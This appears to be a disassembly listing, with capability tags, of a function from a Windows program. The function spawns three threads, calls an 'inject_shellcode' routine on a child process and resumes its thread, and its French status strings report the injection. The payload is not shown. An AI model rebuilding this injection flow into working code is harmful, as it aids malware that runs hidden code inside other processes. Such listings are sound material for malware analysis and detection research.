Function at 0x40193e
Capabilities:
Create thread
Resume thread

Disassembly:
push rbp
push rsi
push rbx
mov rbp, rsp
sub rsp, 0xc0
call sym.__main
mov dword [rbp - 0x10], 3
lea rax, [rbp - 0x1b]
mov rcx, rax
call fcn.00403760
lea rdx, [rbp - 0x1b]
lea rax, [rbp - 0x40]
mov r8, rdx
mov edx, 3
mov rcx, rax
call method.std::vector_void__std::allocator_void___.vector_unsigned_long_long__std::allocator_void__const_
lea rax, [rbp - 0x1b]
mov rcx, rax
call sym.std::allocator_void_::allocator__
lea rax, [rbp - 0x1a]
mov rcx, rax
call fcn.004036d0
lea rdx, [rbp - 0x1a]
lea rax, [rbp - 0x60]
mov r8, rdx
mov edx, 3
mov rcx, rax
call method.std::vector__PROCESS_INFORMATION__std::allocator__PROCESS_INFORMATION___.vector_unsigned_long_long__std::allocator__PROCESS_INFORMATION__const_
lea rax, [rbp - 0x1a]
mov rcx, rax
call sym.std::allocator__PROCESS_INFORMATION_::allocator__
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.004037f0
lea rdx, [rbp - 0x19]
lea rax, [rbp - 0x80]
mov r8, rdx
mov edx, 3
mov rcx, rax
call method.std::vector_int__std::allocator_int___.vector_unsigned_long_long__std::allocator_int__const_
lea rax, [rbp - 0x19]
mov rcx, rax
call sym.std::allocator_int_::allocator__
mov dword [rbp - 4], 0
cmp dword [rbp - 4], 2
jg 0x401aca
mov eax, dword [rbp - 4]
movsxd rdx, eax
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::vector_int__std::allocator_int___.operator___unsigned_long_long_
mov rdx, rax
mov eax, dword [rbp - 4]
add eax, 1
mov dword [rdx], eax
mov eax, dword [rbp - 4]
movsxd rdx, eax
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::vector_int__std::allocator_int___.operator___unsigned_long_long_
mov rsi, rax
mov eax, dword [rbp - 4]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_void__std::allocator_void___.operator___unsigned_long_long_
mov rbx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rsi
lea r8, [sym.child_process_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbx], rax
mov eax, dword [rbp - 4]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_void__std::allocator_void___.operator___unsigned_long_long_
mov rax, qword [rax]
test rax, rax
sete al
test al, al
je 0x401ac1
lea rdx, str.Erreur_lors_de_la_cration_du_processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp - 4]
add eax, 1
mov edx, eax
call sym.std::ostream::operator___int_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
add dword [rbp - 4], 1
jmp 0x4019ee
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_void__std::allocator_void___.data__
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rax
mov ecx, 3
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov byte [rbp - 5], 0
mov dword [rbp - 0xc], 0
cmp dword [rbp - 0xc], 2
jg 0x401bc6
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_void__std::allocator_void___.operator___unsigned_long_long_
mov rcx, qword [rax]
lea rax, [rbp - 0x84]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call rax
mov eax, dword [rbp - 0x84]
mov eax, eax
mov qword [rbp - 0x18], rax
movzx eax, byte [rbp - 5]
xor eax, 1
test al, al
je 0x401bbd
cmp qword [rbp - 0x18], 0
je 0x401bbd
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov rcx, rax
call sym.inject_shellcode_void_
test al, al
je 0x401bbd
lea rdx, str.Shellcode_inject_dans_le_processus_enfant
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
mov eax, dword [rbp - 0xc]
movsxd rdx, eax
lea rax, [rbp - 0x80]
mov rcx, rax
call method.std::vector_int__std::allocator_int___.operator___unsigned_long_long_
mov eax, dword [rax]
mov edx, eax
mov rcx, rbx
call sym.std::ostream::operator___int_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov byte [rbp - 5], 1
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
nop
add dword [rbp - 0xc], 1
jmp 0x401afe
lea rdx, str.Tous_les_processus_enfants_ont_termin__sauf_celui_o_le_shellcode_a_t_inject.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406530]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401be8